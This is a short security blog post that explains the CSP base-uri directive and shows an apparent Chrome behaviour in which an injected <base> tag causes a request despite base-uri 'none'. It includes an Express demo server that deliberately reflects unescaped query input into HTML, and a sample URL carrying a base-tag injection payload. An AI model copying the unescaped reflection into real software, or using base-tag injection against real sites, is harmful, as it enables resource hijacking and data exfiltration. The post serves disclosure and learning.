Post

CSP base-uri can be bypassed (Chrome in 2025???)

What is base-uri

the base-uri directive controls which urls can be used in the <base> element of an html document. without it, an attacker could inject a tag and change how all relative urls (scripts, images, css, links, forms) are resolved

1
content-security-policy: base-uri 'self'
  • ‘self’ → only allow the same origin
  • specific urls → only allow those hosts
  • ‘none’ → completely disallow <base> tags
1
content-security-policy: base-uri 'self'

prevents <base href=”https://evil.com/”> from working

1
content-security-policy: base-uri https://cdn.example.com

only <base href=”https://cdn.example.com/”> is valid

1
content-security-policy: base-uri 'none'

any <base> tag will be ignored

so if an attacker injects a malicious <base href=”https://evil.com/”> all relative links (like /login, /script.js) could redirect or load from their server. base-uri blocks this and helps protect against script injection, phishing, and data exfiltration

How it can be bypassed

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
const express = require("express");
const app = express();
const PORT = process.env.PORT || 5555;

app.use((req, res, next) => {
  res.set("Content-Security-Policy", "base-uri 'none'");
  next();
});

app.get("/", (req, res) => {
  const html = req.query.html || "";
  res.type("html").send(`<!doctype html>
<html>
<head>
  <meta charset="utf-8">
  <title>CSP base-uri demo</title>
</head>
<body style="font-family:system-ui;line-height:1.4">
  <div id="injected">${html}</div>
  <img src="/103fj3oeqdnf91o3gjm">
</body>
</html>`);
});

app.listen(PORT, () => {
  console.log(`up on http://127.0.0.1:${PORT}`);
});
// http://localhost:5555/?html=%3Cbase%20href=//google.com%3E%3Cimg%20src=%22/xxd%22%3E

there is a server with base-uri set to none

when visting the page, it is expected that the <base> tag will not be applied due to the csp. however, when actually visiting the link, it seems that before the csp is enforced, the tags are loaded and a request is being sent to google.com

idk why it happened, it’s just crazy

This post is licensed under CC BY 4.0 by the author.

Trending Tags